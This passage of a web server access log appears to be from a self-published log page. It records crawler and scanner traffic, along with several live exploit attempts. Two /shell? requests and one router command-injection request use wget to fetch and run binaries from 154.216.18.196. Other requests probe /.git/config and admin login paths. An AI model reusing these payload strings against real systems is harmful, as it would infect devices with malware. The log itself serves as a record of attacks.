Version/13.0.3 Mobile/15E148 Safari/604.1 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 14:53:47 +0200 GET /2021_08_13_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 14:58:43 +0200 GET /2019_12_12_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 15:11:23 +0200 GET / HTTP/1.1 200 104495 - - 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 15:11:28 +0200 GET /favicon.ico HTTP/1.1 404 360 - Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 15:19:54 +0200 GET / HTTP/1.1 200 104495 - - 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 15:47:09 +0200 GET /.git/config HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 15:58:43 +0200 GET /2022_08_14_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 16:32:44 +0200 GET /2021_01_21_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 16:48:54 +0200 GET /2023_11_24_report_access.log.1.html HTTP/1.1 200 34689 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 17:10:59 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 17:41:26 +0200 GET / HTTP/1.1 200 4834 - Linux Gnu (cow) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 17:55:03 +0200 GET /shell?cd /tmp;rm earm earm7;nohup wget http:/\\/154.216.18.196/earm7;chmod 777 earm7;./earm7 jaws;nohup wget http:/\\/154.216.18.196/earm;chmod 777 earm;./earm jaws HTTP/1.1 404 360 - KrebsOnSecurity 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 18:06:04 +0200 POST /boaform/admin/formLogin HTTP/1.1 404 360 http://91.223.222.117:80/admin/login.asp Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 18:33:54 +0200 GET /2020_12_04_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 18:36:16 +0200 GET /robots.txt HTTP/1.1 404 360 - Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 18:38:25 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 19:21:31 +0200 GET /2022_11_17_report_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 19:27:12 +0200 GET / HTTP/1.0 200 104352 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 19:38:53 +0200 GET / HTTP/1.1 200 4834 - python-requests/2.32.2 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 19:42:27 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 19:59:48 +0200 GET / HTTP/1.0 200 104352 - ivre-masscan/1.3 https://github.com/robertdavidgraham/ 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 20:09:11 +0200 GET /actuator/gateway/routes HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 20:10:45 +0200 GET / HTTP/1.0 200 104352 - Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 20:36:16 +0200 GET /2024_01_17_report_access.log.1.html HTTP/1.1 304 198 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 21:06:16 +0200 GET /2023_12_05_vipex_access.log.1.html HTTP/1.1 304 199 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 21:09:08 +0200 GET /2022_08_18_report_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 21:19:59 +0200 GET / HTTP/1.1 200 104495 - libwww-perl/6.05 15 xss csrf sqli id lfi - 192.168.21.127 - - Sun, 18 Aug 2024 21:42:06 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 404 360 - Go-http-client/1.1 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 21:51:03 +0200 GET /favicon.ico HTTP/1.1 404 360 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Edg/93.0.961.38 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 22:06:16 +0200 GET /2022_11_19_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 22:07:15 +0200 GET /shell?cd /tmp;rm earm earm7;nohup wget http:/\\/154.216.18.196/earm7;chmod 777 earm7;./earm7 jaws;nohup wget http:/\\/154.216.18.196/earm;chmod 777 earm;./earm jaws HTTP/1.1 404 360 - KrebsOnSecurity 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 22:28:41 +0200 GET / HTTP/1.0 200 104352 - Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 22:34:03 +0200 GET /2022_01_15_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 22:51:16 +0200 GET /2019_12_15_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 23:22:15 +0200 GET / HTTP/1.1 200 4834 - Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 23:29:59 +0200 GET /2021_08_19_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.119 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sun, 18 Aug 2024 23:48:43 +0200 GET /2020_08_04_vipex_access.log.1.html HTTP/1.1 404 360 - Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36